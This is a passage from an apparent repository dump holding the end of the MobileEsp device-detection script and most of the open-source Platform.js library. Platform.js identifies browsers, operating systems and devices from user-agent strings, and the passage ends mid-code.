JavaScript among other devices. \n\tDetectTierOtherPhones : function() {\n\t\tif (this.initCompleted || this.isTierGenericMobile)\n\t\t\treturn this.isTierGenericMobile;\n\t\t\n\t\t//Exclude iPhone, Rich CSS and Tablet Tiers\n\t\tif (this.DetectTierIphone() ||\n\t\t\tthis.DetectTierRichCss() ||\n\t\t\tthis.DetectTierTablet())\n\t\t\treturn false;\n\t\t\n\t\t//Otherwise, if it's mobile, it's OK\n\t\tif (this.DetectMobileLong())\n\t\t\treturn true;\n\n\t\telse\n\t\t\treturn false;\n\t}\n\n};\n\n//Initialize the MobileEsp object\nMobileEsp.InitDeviceScan();\n\n\n\n"
  },
  {
    "path": "core/main/client/lib/platform.js",
    "content": "/*!\n * Platform.js\n * Copyright 2014-2020 Benjamin Tan\n * Copyright 2011-2013 John-David Dalton\n * Available under MIT license\n */\n;(function() {\n  'use strict';\n\n  /** Used to determine if values are of the language type `Object`. */\n  var objectTypes = {\n    'function': true,\n    'object': true\n  };\n\n  /** Used as a reference to the global object. */\n  var root = (objectTypes[typeof window] && window) || this;\n\n  /** Backup possible global object. */\n  var oldRoot = root;\n\n  /** Detect free variable `exports`. */\n  var freeExports = objectTypes[typeof exports] && exports;\n\n  /** Detect free variable `module`. */\n  var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;\n\n  /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */\n  var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;\n  if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {\n    root = freeGlobal;\n  }\n\n  /**\n   * Used as the maximum length of an array-like object.\n   * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)\n   * for more details.\n   */\n  var maxSafeInteger = Math.pow(2, 53) - 1;\n\n  /** Regular expression to detect Opera. */\n  var reOpera = /\\bOpera/;\n\n  /** Possible global object. */\n  var thisBinding = this;\n\n  /** Used for native method references. */\n  var objectProto = Object.prototype;\n\n  /** Used to check for own properties of an object. */\n  var hasOwnProperty = objectProto.hasOwnProperty;\n\n  /** Used to resolve the internal `[[Class]]` of values. */\n  var toString = objectProto.toString;\n\n  /*--------------------------------------------------------------------------*/\n\n  /**\n   * Capitalizes a string value.\n   *\n   * @private\n   * @param {string} string The string to capitalize.\n   * @returns {string} The capitalized string.\n   */\n  function capitalize(string) {\n    string = String(string);\n    return string.charAt(0).toUpperCase() + string.slice(1);\n  }\n\n  /**\n   * A utility function to clean up the OS name.\n   *\n   * @private\n   * @param {string} os The OS name to clean up.\n   * @param {string} [pattern] A `RegExp` pattern matching the OS name.\n   * @param {string} [label] A label for the OS.\n   */\n  function cleanupOS(os, pattern, label) {\n    // Platform tokens are defined at:\n    // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx\n    // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx\n    var data = {\n      '10.0': '10',\n      '6.4':  '10 Technical Preview',\n      '6.3':  '8.1',\n      '6.2':  '8',\n      '6.1':  'Server 2008 R2 / 7',\n      '6.0':  'Server 2008 / Vista',\n      '5.2':  'Server 2003 / XP 64-bit',\n      '5.1':  'XP',\n      '5.01': '2000 SP1',\n      '5.0':  '2000',\n      '4.0':  'NT',\n      '4.90': 'ME'\n    };\n    // Detect Windows version from platform tokens.\n    if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&\n        (data = data[/[\\d.]+$/.exec(os)])) {\n      os = 'Windows ' + data;\n    }\n    // Correct character case and cleanup string.\n    os = String(os);\n\n    if (pattern && label) {\n      os = os.replace(RegExp(pattern, 'i'), label);\n    }\n\n    os = format(\n      os.replace(/ ce$/i, ' CE')\n        .replace(/\\bhpw/i, 'web')\n        .replace(/\\bMacintosh\\b/, 'Mac OS')\n        .replace(/_PowerPC\\b/i, ' OS')\n        .replace(/\\b(OS X) [^ \\d]+/i, '$1')\n        .replace(/\\bMac (OS X)\\b/, '$1')\n        .replace(/\\/(\\d)/, ' $1')\n        .replace(/_/g, '.')\n        .replace(/(?: BePC|[ .]*fc[ \\d.]+)$/i, '')\n        .replace(/\\bx86\\.64\\b/gi, 'x86_64')\n        .replace(/\\b(Windows Phone) OS\\b/, '$1')\n        .replace(/\\b(Chrome OS \\w+) [\\d.]+\\b/, '$1')\n        .split(' on ')[0]\n    );\n\n    return os;\n  }\n\n  /**\n   * An iteration utility for arrays and objects.\n   *\n   * @private\n   * @param {Array|Object} object The object to iterate over.\n   * @param {Function} callback The function called per iteration.\n   */\n  function each(object, callback) {\n    var index = -1,\n        length = object ? object.length : 0;\n\n    if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {\n      while (++index < length) {\n        callback(object[index], index, object);\n      }\n    } else {\n      forOwn(object, callback);\n    }\n  }\n\n  /**\n   * Trim and conditionally capitalize string values.\n   *\n   * @private\n   * @param {string} string The string to format.\n   * @returns {string} The formatted string.\n   */\n  function format(string) {\n    string = trim(string);\n    return /^(?:webOS|i(?:OS|P))/.test(string)\n      ? string\n      : capitalize(string);\n  }\n\n  /**\n   * Iterates over an object's own properties, executing the `callback` for each.\n   *\n   * @private\n   * @param {Object} object The object to iterate over.\n   * @param {Function} callback The function executed per own property.\n   */\n  function forOwn(object, callback) {\n    for (var key in object) {\n      if (hasOwnProperty.call(object, key)) {\n        callback(object[key], key, object);\n      }\n    }\n  }\n\n  /**\n   * Gets the internal `[[Class]]` of a value.\n   *\n   * @private\n   * @param {*} value The value.\n   * @returns {string} The `[[Class]]`.\n   */\n  function getClassOf(value) {\n    return value == null\n      ? capitalize(value)\n      : toString.call(value).slice(8, -1);\n  }\n\n  /**\n   * Host objects can return type values that are different from their actual\n   * data type. The objects we are concerned with usually return non-primitive\n   * types of \"object\", \"function\", or \"unknown\".\n   *\n   * @private\n   * @param {*} object The owner of the property.\n   * @param {string} property The property to check.\n   * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.\n   */\n  function isHostType(object, property) {\n    var type = object != null ? typeof object[property] : 'number';\n    return !/^(?:boolean|number|string|undefined)$/.test(type) &&\n      (type == 'object' ? !!object[property] : true);\n  }\n\n  /**\n   * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.\n   *\n   * @private\n   * @param {string} string The string to qualify.\n   * @returns {string} The qualified string.\n   */\n  function qualify(string) {\n    return String(string).replace(/([ -])(?!$)/g, '$1?');\n  }\n\n  /**\n   * A bare-bones `Array#reduce` like utility function.\n   *\n   * @private\n   * @param {Array} array The array to iterate over.\n   * @param {Function} callback The function called per iteration.\n   * @returns {*} The accumulated result.\n   */\n  function reduce(array, callback) {\n    var accumulator = null;\n    each(array, function(value, index) {\n      accumulator = callback(accumulator, value, index, array);\n    });\n    return accumulator;\n  }\n\n  /**\n   * Removes leading and trailing whitespace from a string.\n   *\n   * @private\n   * @param {string} string The string to trim.\n   * @returns {string} The trimmed string.\n   */\n  function trim(string) {\n    return String(string).replace(/^ +| +$/g, '');\n  }\n\n  /*--------------------------------------------------------------------------*/\n\n  /**\n   * Creates a new platform object.\n   *\n   * @memberOf platform\n   * @param {Object|string} [ua=navigator.userAgent] The user agent string or\n   *  context object.\n   * @returns {Object} A platform object.\n   */\n  function parse(ua) {\n\n    /** The environment context object. */\n    var context = root;\n\n    /** Used to flag when a custom context is provided. */\n    var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';\n\n    // Juggle arguments.\n    if (isCustomContext) {\n      context = ua;\n      ua = null;\n    }\n\n    /** Browser navigator object. */\n    var nav = context.navigator || {};\n\n    /** Browser user agent string. */\n    var userAgent = nav.userAgent || '';\n\n    ua || (ua = userAgent);\n\n    /** Used to flag when `thisBinding` is the [ModuleScope]. */\n    var isModuleScope = isCustomContext || thisBinding == oldRoot;\n\n    /** Used to detect if browser is like Chrome. */\n    var likeChrome = isCustomContext\n      ? !!nav.likeChrome\n      : /\\bChrome\\b/.test(ua) && !/internal|\\n/i.test(toString.toString());\n\n    /** Internal `[[Class]]` value shortcuts. */\n    var objectClass = 'Object',\n        airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',\n        enviroClass = isCustomContext ? objectClass : 'Environment',\n        javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),\n        phantomClass = isCustomContext ? objectClass : 'RuntimeObject';\n\n    /** Detect Java environments. */\n    var java = /\\bJava/.test(javaClass) && context.java;\n\n    /** Detect Rhino. */\n    var rhino = java && getClassOf(context.environment) == enviroClass;\n\n    /** A character to represent alpha. */\n    var alpha = java ? 'a' : '\\u03b1';\n\n    /** A character to represent beta. */\n    var beta = java ? 'b' : '\\u03b2';\n\n    /** Browser document object. */\n    var doc = context.document || {};\n\n    /**\n     * Detect Opera browser (Presto-based).\n     * http://www.howtocreate.co.uk/operaStuff/operaObject.html\n     * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini\n     */\n    var opera = context.operamini || context.opera;\n\n    /** Opera `[[Class]]`. */\n    var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))\n      ? operaClass\n      : (opera = null);\n\n    /*------------------------------------------------------------------------*/\n\n    /** Temporary variable used over the script's lifetime. */\n    var data;\n\n    /** The CPU architecture. */\n    var arch = ua;\n\n    /** Platform description array. */\n    var description = [];\n\n    /** Platform alpha/beta indicator. */\n    var prerelease = null;\n\n    /** A flag to indicate that environment features should be used to resolve the platform. */\n    var useFeatures = ua == userAgent;\n\n    /** The browser/environment version. */\n    var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();\n\n    /** A flag to indicate if the OS ends with \"/ Version\" */\n    var isSpecialCasedOS;\n\n    /* Detectable layout engines (order is important). */\n    var layout = getLayout([\n      { 'label': 'EdgeHTML', 'pattern': 'Edge' },\n      'Trident',\n      { 'label': 'WebKit', 'pattern': 'AppleWebKit' },\n      'iCab',\n      'Presto',\n      'NetFront',\n      'Tasman',\n      'KHTML',\n      'Gecko'\n    ]);\n\n    /* Detectable browser names (order is important). */\n    var name = getName([\n      'Adobe AIR',\n      'Arora',\n      'Avant Browser',\n      'Breach',\n      'Camino',\n      'Electron',\n      'Epiphany',\n      'Fennec',\n      'Flock',\n      'Galeon',\n      'GreenBrowser',\n      'iCab',\n      'Iceweasel',\n      'K-Meleon',\n      'Konqueror',\n      'Lunascape',\n      'Maxthon',\n      { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },\n      'Midori',\n      'Nook Browser',\n      'PaleMoon',\n      'PhantomJS',\n      'Raven',\n      'Rekonq',\n      'RockMelt',\n      { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },\n      'SeaMonkey',\n      { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },\n      'Sleipnir',\n      'SlimBrowser',\n      { 'label': 'SRWare Iron', 'pattern': 'Iron' },\n      'Sunrise',\n      'Swiftfox',\n      'Vivaldi',\n      'Waterfox',\n      'WebPositive',\n      { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },\n      { 'label': 'UC Browser', 'pattern': 'UCBrowser' },\n      'Opera Mini',\n      { 'label': 'Opera Mini', 'pattern': 'OPiOS' },\n      'Opera',\n      { 'label': 'Opera', 'pattern': 'OPR' },\n      'Chromium',\n      'Chrome',\n      { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },\n      { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },\n      { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },\n      { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },\n      { 'label': 'IE', 'pattern': 'IEMobile' },\n      { 'label': 'IE', 'pattern': 'MSIE' },\n      'Safari'\n    ]);\n\n    /* Detectable products (order is important). */\n    var product = getProduct([\n      { 'label': 'BlackBerry', 'pattern': 'BB10' },\n      'BlackBerry',\n      { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },\n      { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },\n      { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },\n      { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },\n      { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },\n      { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },\n      { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },\n      { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },\n      { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },\n      'Google TV',\n      'Lumia',\n      'iPad',\n      'iPod',\n      'iPhone',\n      'Kindle',\n      { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },\n      'Nexus',\n      'Nook',\n      'PlayBook',\n      'PlayStation Vita',\n      'PlayStation',\n      'TouchPad',\n      'Transformer',\n      { 'label': 'Wii U', 'pattern': 'WiiU' },\n      'Wii',\n      'Xbox One',\n      { 'label': 'Xbox 360', 'pattern': 'Xbox' },\n      'Xoom'\n    ]);\n\n    /* Detectable manufacturers. */\n    var manufacturer = getManufacturer({\n      'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },\n      'Alcatel': {},\n      'Archos': {},\n      'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },\n      'Asus': { 'Transformer': 1 },\n      'Barnes & Noble': { 'Nook': 1 },\n      'BlackBerry': { 'PlayBook': 1 },\n      'Google': { 'Google TV': 1, 'Nexus': 1 },\n      'HP': { 'TouchPad': 1 },\n      'HTC': {},\n      'Huawei': {},\n      'Lenovo': {},\n      'LG': {},\n      'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },\n      'Motorola': { 'Xoom': 1 },\n      'Nintendo': { 'Wii U': 1,  'Wii': 1 },\n      'Nokia': { 'Lumia': 1 },\n      'Oppo': {},\n      'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },\n      'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },\n      'Xiaomi': { 'Mi': 1, 'Redmi': 1 }\n    });\n\n    /* Detectable operating systems (order is important). */\n    var os = getOS([\n      'Windows Phone',\n      'KaiOS',\n      'Android',\n      'CentOS',\n      { 'label': 'Chrome OS', 'pattern': 'CrOS' },\n      'Debian',\n      { 'label': 'DragonFly BSD', 'pattern': 'DragonFly' },\n      'Fedora',\n      'FreeBSD',\n      'Gentoo',\n      'Haiku',\n      'Kubuntu',\n      'Linux Mint',\n      'OpenBSD',\n      'Red Hat',\n      'SuSE',\n      'Ubuntu',\n      'Xubuntu',\n      'Cygwin',\n      'Symbian OS',\n      'hpwOS',\n      'webOS ',\n      'webOS',\n      'Tablet OS',\n      'Tizen',\n      'Linux',\n      'Mac OS X',\n      'Macintosh',\n      'Mac',\n      'Windows 98;',\n      'Windows '\n    ]);\n\n    /*------------------------------------------------------------------------*/\n\n    /**\n     * Picks the layout engine from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected layout engine.\n     */\n    function getLayout(guesses) {\n      return reduce(guesses, function(result, guess) {\n        return result || RegExp('\\\\b' + (\n          guess.pattern || qualify(guess)\n        ) + '\\\\b', 'i').exec(ua) && (guess.label || guess);\n      });\n    }\n\n    /**\n     * Picks the manufacturer from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An object of guesses.\n     * @returns {null|string} The detected manufacturer.\n     */\n    function getManufacturer(guesses) {\n      return reduce(guesses, function(result, value, key) {\n        // Lookup the manufacturer by product or scan the UA for the manufacturer.\n        return result || (\n          value[product] ||\n          value[/^[a-z]+(?: +[a-z]+\\b)*/i.exec(product)] ||\n          RegExp('\\\\b' + qualify(key) + '(?:\\\\b|\\\\w*\\\\d)', 'i').exec(ua)\n        ) && key;\n      });\n    }\n\n    /**\n     * Picks the browser name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected browser name.\n     */\n    function getName(guesses) {\n      return reduce(guesses, function(result, guess) {\n        return result || RegExp('\\\\b' + (\n          guess.pattern || qualify(guess)\n        ) + '\\\\b', 'i').exec(ua) && (guess.label || guess);\n      });\n    }\n\n    /**\n     * Picks the OS name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected OS name.\n     */\n    function getOS(guesses) {\n      return reduce(guesses, function(result, guess) {\n        var pattern = guess.pattern || qualify(guess);\n        if (!result && (result =\n              RegExp('\\\\b' + pattern + '(?:/[\\\\d.]+|[ \\\\w.]*)', 'i').exec(ua)\n            )) {\n          result = cleanupOS(result, pattern, guess.label || guess);\n        }\n        return result;\n      });\n    }\n\n    /**\n     * Picks the product name from an array of guesses.\n     *\n     * @private\n     * @param {Array} guesses An array of guesses.\n     * @returns {null|string} The detected product name.\n     */\n    function getProduct(guesses) {\n      return reduce(guesses, function(result, guess) {\n        var pattern = guess.pattern || qualify(guess);\n        if (!result && (result =\n              RegExp('\\\\b' + pattern + ' *\\\\d+[.\\\\w_]*', 'i').exec(ua) ||\n              RegExp('\\\\b' + pattern + ' *\\\\w+-[\\\\w]*', 'i').exec(ua) ||\n              RegExp('\\\\b' + pattern + '(?:; *(?:[a-z]+[_-])?[a-z]+\\\\d+|[^ ();-]*)', 'i').exec(ua)\n            )) {\n          // Split by forward slash and append product version if needed.\n          if ((result = String((guess.label && !RegExp(pattern, 'i').test(guess.label)) ? guess.label : result).split('/'))[1] && !/[\\d.]+/.test(result[0])) {\n            result[0] += ' ' + result[1];\n          }\n          // Correct character case and cleanup string.\n          guess = guess.label || guess;\n          result = format(result[0]\n            .replace(RegExp(pattern, 'i'), guess)\n            .replace(RegExp('; *(?:' + guess + '[_-])?', 'i'), ' ')\n            .replace(RegExp('(' + guess + ')[-_.]?(\\\\w)', 'i'), '$1 $2'));\n        }\n        return result;\n      });\n    }\n\n    /**\n     * Resolves the version using an array of UA patterns.\n     *\n     * @private\n     * @param {Array} patterns An array of UA patterns.\n     * @returns {null|string} The detected version.\n     */\n    function getVersion(patterns) {\n      return reduce(patterns, function(result, pattern) {\n        return result || (RegExp(pattern +\n          '(?:-[\\\\d.]+/|(?: for [\\\\w-]+)?[ /-])([\\\\d.]+[^ ();/_-]*)', 'i').exec(ua) || 0)[1] || null;\n      });\n    }\n\n    /**\n     * Returns `platform.description` when the platform object is coerced to a string.\n     *\n     * @name toString\n     * @memberOf platform\n     * @returns {string} Returns `platform.description` if available, else an empty string.\n     */\n    function toStringPlatform() {\n      return this.description || '';\n    }\n\n    /*------------------------------------------------------------------------*/\n\n    // Convert layout to an array so we can add extra details.\n    layout && (layout = [layout]);\n\n    // Detect Android products.\n    // Browsers on Android devices typically provide their product IDS after \"Android;\"\n    // up to \"Build\" or \") AppleWebKit\".\n    // Example:\n    // \"Mozilla/5.0 (Linux; Android 8.1.0; Moto G (5) Plus) AppleWebKit/537.36\n    // (KHTML, like Gecko) Chrome/70.0.3538.80 Mobile Safari/537.36\"\n    if (/\\bAndroid\\b/.test(os) && !product &&\n        (data = /\\bAndroid[^;]*;(.*?)(?:Build|\\) AppleWebKit)\\b/i.exec(ua))) {\n      product = trim(data[1])\n        // Replace any language codes (eg. \"en-US\").\n        .replace(/^[a-z]{2}-[a-z]{2};\\s*/i, '')\n        || null;\n    }\n    // Detect product names that contain their manufacturer's name.\n    if (manufacturer && !product) {\n      product = getProduct([manufacturer]);\n    } else if (manufacturer && product) {\n      product = product\n        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.\\\\s]', 'i'), manufacturer + ' ')\n        .replace(RegExp('^(' + qualify(manufacturer) + ')[-_.]?(\\\\w)', 'i'), manufacturer + ' $2');\n    }\n    // Clean up Google TV.\n    if ((data = /\\bGoogle TV\\b/.exec(product))) {\n      product = data[0];\n    }\n    // Detect simulators.\n    if (/\\bSimulator\\b/i.test(ua)) {\n      product = (product ? product + ' ' : '') + 'Simulator';\n    }\n    // Detect Opera Mini 8+ running in Turbo/Uncompressed mode on iOS.\n    if (name == 'Opera Mini' && /\\bOPiOS\\b/.test(ua)) {\n      description.push('running in Turbo/Uncompressed mode');\n    }\n    // Detect IE Mobile 11.\n    if (name == 'IE' && /\\blike iPhone OS\\b/.test(ua)) {\n      data = parse(ua.replace(/like iPhone OS/, ''));\n      manufacturer = data.manufacturer;\n      product = data.product;\n    }\n    // Detect iOS.\n    else if (/^iP/.test(product)) {\n      name || (name = 'Safari');\n      os = 'iOS' + ((data = / OS ([\\d_]+)/i.exec(ua))\n        ? ' ' + data[1].replace(/_/g, '.')\n        : '');\n    }\n    // Detect Kubuntu.\n    else if (name == 'Konqueror' && /^Linux\\b/i.test(os)) {\n      os = 'Kubuntu';\n    }\n    // Detect Android browsers.\n    else if ((manufacturer && manufacturer != 'Google' &&\n        ((/Chrome/.test(name) && !/\\bMobile Safari\\b/i.test(ua)) || /\\bVita\\b/.test(product))) ||\n        (/\\bAndroid\\b/.test(os) && /^Chrome/.test(name) && /\\bVersion\\//i.test(ua))) {\n      name = 'Android Browser';\n      os = /\\bAndroid\\b/.test(os) ? os : 'Android';\n    }\n    // Detect Silk desktop/accelerated modes.\n    else if (name == 'Silk') {\n      if (!/\\bMobi/i.test(ua)) {\n        os = 'Android';\n        description.unshift('desktop mode');\n      }\n      if (/Accelerated *= *true/i.test(ua)) {\n        description.unshift('accelerated');\n      }\n    }\n    // Detect UC Browser speed mode.\n    else if (name == 'UC Browser' && /\\bUCWEB\\b/.test(ua)) {\n      description.push('speed mode');\n    }\n    // Detect PaleMoon identifying as Firefox.\n    else if (name == 'PaleMoon' && (data = /\\bFirefox\\/([\\d.]+)\\b/.exec(ua))) {\n      description.push('identifying as Firefox ' + data[1]);\n    }\n    // Detect Firefox OS and products running Firefox.\n    else if (name == 'Firefox' && (data = /\\b(Mobile|Tablet|TV)\\b/i.exec(ua))) {\n      os || (os = 'Firefox OS');\n      product || (product = data[1]);\n    }\n    // Detect false positives for Firefox/Safari.\n    else if (!name || (data = !/\\bMinefield\\b/i.test(ua) && /\\b(?:Firefox|Safari)\\b/.exec(name))) {\n      // Escape the `/` for Firefox 1.\n      if (name && !product && /[\\/,]|^[^(]+?\\)/.test(ua.slice(ua.indexOf(data + '/') + 8))) {\n        // Clear name of false positives.\n        name = null;\n      }\n      // Reassign a generic name.\n      if ((data = product || manufacturer || os) &&\n          (product || manufacturer || /\\b(?:Android|Symbian OS|Tablet OS|webOS)\\b/.test(os))) {\n        name = /[a-z]+(?: Hat)?/i.exec(/\\bAndroid\\b/.test(os) ? os : data) + ' Browser';\n      }\n    }\n    // Add Chrome version to description for Electron.\n    else if (name == 'Electron' && (data = (/\\bChrome\\/([\\d.]+)\\b/.exec(ua) || 0)[1])) {\n      description.push('Chromium ' + data);\n    }\n    // Detect non-Opera (Presto-based) versions (order is important).\n    if (!version) {\n      version = getVersion([\n        '(?:Cloud9|CriOS|CrMo|Edge|Edg|EdgA|EdgiOS|FxiOS|HeadlessChrome|IEMobile|Iron|Opera ?Mini|OPiOS|OPR|Raven|SamsungBrowser|Silk(?!/[\\\\d.]+$)|UCBrowser|YaBrowser)',\n        'Version',\n        qualify(name),\n        '(?:Firefox|Minefield|NetFront)'\n      ]);\n    }\n    // Detect stubborn layout engines.\n    if ((data =\n          layout == 'iCab' && parseFloat(version) > 3 && 'WebKit' ||\n          /\\bOpera\\b/.test(name) && (/\\bOPR\\b/.test(ua) ? 'Blink' : 'Presto') ||\n          /\\b(?:Midori|Nook|Safari)\\b/i.test(ua) && !/^(?:Trident|EdgeHTML)$/.test(layout) && 'WebKit' ||\n          !layout && /\\bMSIE\\b/i.test(ua) && (os == 'Mac OS' ? 'Tasman' : 'Trident') ||\n          layout == 'WebKit' && /\\bPlayStation\\b(?! Vita\\b)/i.test(name) && 'NetFront'\n        )) {\n      layout = [data];\n    }\n    // Detect Windows Phone 7 desktop mode.\n    if (name == 'IE' && (data = (/; *(?:XBLWP|ZuneWP)(\\d+)/i.exec(ua) || 0)[1])) {\n      name += ' Mobile';\n      os = 'Windows Phone ' + (/\\+$/.test(data) ? data : data + '.x');\n      description.unshift('desktop mode');\n    }\n    // Detect Windows Phone 8.x desktop mode.\n    else if (/\\bWPDesktop\\b/i.test(ua)) {\n      name = 'IE Mobile';\n      os = 'Windows Phone 8.x';\n      description.unshift('desktop mode');\n      version || (version = (/\\brv:([\\d.]+)/.exec(ua) || 0)[1]);\n    }\n    // Detect IE 11 identifying as other browsers.\n    else if (name != 'IE' && layout == 'Trident' && (data = /\\brv:([\\d.]+)/.exec(ua))) {\n      if (name) {\n        description.push('identifying as ' + name + (version ? ' ' + version : ''));\n      }\n      name = 'IE';\n      version = data[1];\n    }\n    // Leverage environment features.\n    if (useFeatures) {\n      // Detect server-side environments.\n      // Rhino has a global function while others have a global object.\n      if (isHostType(context, 'global')) {\n        if (java) {\n          data = java.lang.System;\n          arch = data.getProperty('os.arch');\n          os = os || data.getProperty('os.name') + ' ' + data.getProperty('os.version');\n        }\n        if (rhino) {\n          try {\n            version = context.require('ringo/engine').version.join('.');\n            name = 'RingoJS';\n          } catch(e) {\n            if ((data = context.system) && data.global.system == context.system) {\n              name = 'Narwhal';\n              os || (os = data[0].os || null);\n            }\n          }\n          if (!name) {\n            name = 'Rhino';\n          }\n        }\n        else if (\n          typeof context.process == 'object' && !context.process.browser &&\n          (data = context.process)\n        ) {\n          if (typeof data.versions == 'object') {\n            if (typeof data.versions.electron == 'string') {\n              description.push('Node ' + data.versions.node);\n              name = 'Electron';\n              version = data.versions.electron;\n            } else if (typeof data.versions.nw == 'string') {\n              description.push('Chromium ' + version, 'Node ' + data.versions.node);\n              name = 'NW.js';\n              version = data.versions.nw;\n            }\n          }\n          if (!name) {\n            name = 'Node.js';\n            arch = data.arch;\n            os = data.platform;\n            version = /[\\d.]+/.exec(data.version);\n            version = version ? version[0] : null;\n          }\n        }\n      }\n      // Detect Adobe AIR.\n      else if (getClassOf((data = context.runtime)) == airRuntimeClass) {\n        name = 'Adobe AIR';\n        os = data.flash.system.Capabilities.os;\n      }\n      // Detect PhantomJS.\n      else if (getClassOf((data = context.phantom)) == phantomClass) {\n        name = 'PhantomJS';\n        version = (data = data.version || null) && (data.major + '.' + data.minor + '.' + data.patch);\n      }\n      // Detect IE compatibility modes.\n      else if (typeof doc.documentMode == 'number' && (data = /\\bTrident\\/(\\d+)/i.exec(ua))) {\n        // We're in compatibility mode when the Trident version + 4 doesn't\n        // equal the document mode.\n        version = [version, doc.documentMode];\n        if ((data = +data[1] + 4) != version[1]) {\n          description.push('IE ' + version[1] + ' mode');\n          layout && (layout[1] = '');\n          version[1] = data;\n        }\n        version = name == 'IE' ? String(version[1].toFixed(1)) : version[0];\n      }\n      // Detect IE 11 masking as other browsers.\n      else if (typeof doc.documentMode == 'number' && /^(?:Chrome|Firefox)\\b/.test(name)) {\n        description.push('masking as ' + name + ' ' + version);\n        name = 'IE';\n        version = '11.0';\n        layout = ['Trident'];\n        os = 'Windows';\n      }\n      os = os && format(os);\n    }\n    // Detect prerelease phases.\n    if (version && (data =\n          /(?:[ab]|dp|pre|[ab]\\d+pre)(?:\\d+\\+?)?$/i.exec(version) ||\n          /(?:alpha|beta)(?: ?\\d)?/i.exec(ua + ';' + (useFeatures && nav.appMinorVersion)) ||\n          /\\bMinefield\\b/i.test(ua) && 'a'\n        )) {\n      prerelease = /b/i.test(data) ? 'beta' : 'alpha';\n      version = version.replace(RegExp(data + '\\\\+?$'), '') +\n        (prerelease == 'beta' ? beta : alpha) + (/\\d+\\+?/.exec(data) || '');\n    }\n    // Detect Firefox Mobile.\n    if (name == 'Fennec' || name == 'Firefox' && /\\b(?:Android|Firefox OS|KaiOS)\\b/.test(os)) {\n      name = 'Firefox Mobile';\n    }\n    // Obscure Maxthon's unreliable version.\n    else if (name == 'Maxthon' && version) {\n      version = version.replace(/\\.[\\d.]+/, '.x');\n    }\n    // Detect Xbox 360 and Xbox One.\n    else if (/\\bXbox\\b/i.test(product)) {\n      if (product == 'Xbox 360') {\n        os = null;\n      }\n      if (product == 'Xbox 360' && /\\bIEMobile\\b/.test(ua)) {\n        description.unshift('mobile mode');\n      }\n    }\n    // Add mobile postfix.\n    else if ((/^(?:Chrome|IE|Opera)$/.test(name) || name && !product && !/Browser|Mobi/.test(name)) &&\n        (os == 'Windows CE' || /Mobi/i.test(ua))) {\n      name += ' Mobile';\n    }\n    // Detect IE platform preview.\n    else if (name == 'IE' && useFeatures) {\n      try {\n        if (context.external === null) {\n          description.unshift('platform preview');\n        }\n      } catch(e) {\n        description.unshift('embedded');\n      }\n    }\n    // Detect BlackBerry OS version.\n    // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp\n    else if ((/\\bBlackBerry\\b/.test(product) || /\\bBB10\\b/.test(ua)) && (data =\n          (RegExp(product.replace(/ +/g, ' *') + '/([.\\\\d]+)', 'i').exec(ua) || 0)[1] ||\n          version\n        )) {\n      data = [data, /BB10/.test(ua)];\n      os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];\n      version = null;\n    }\n    // Detect Opera identifying/masking itself as another browser.\n    // http://www.opera.com/support/kb/view/843/\n    else if (this != forOwn && product != 'Wii' && (\n          (useFeatures && opera) ||\n          (/Opera/.test(name) && /\\b(?:MSIE|Firefox)\\b/i.test(ua)) ||\n          (name == 'Firefox' && /\\bOS X (?:\\d+\\.){2,}/.test(os)) ||\n          (name == 'IE' && (\n            (os && !/^Win/.test(os) && version > 5.5) ||\n            /\\bWindows XP\\b/.test(os) && version > 8 ||\n            version == 8 && !/\\bTrident\\b/.test(ua)\n          ))\n        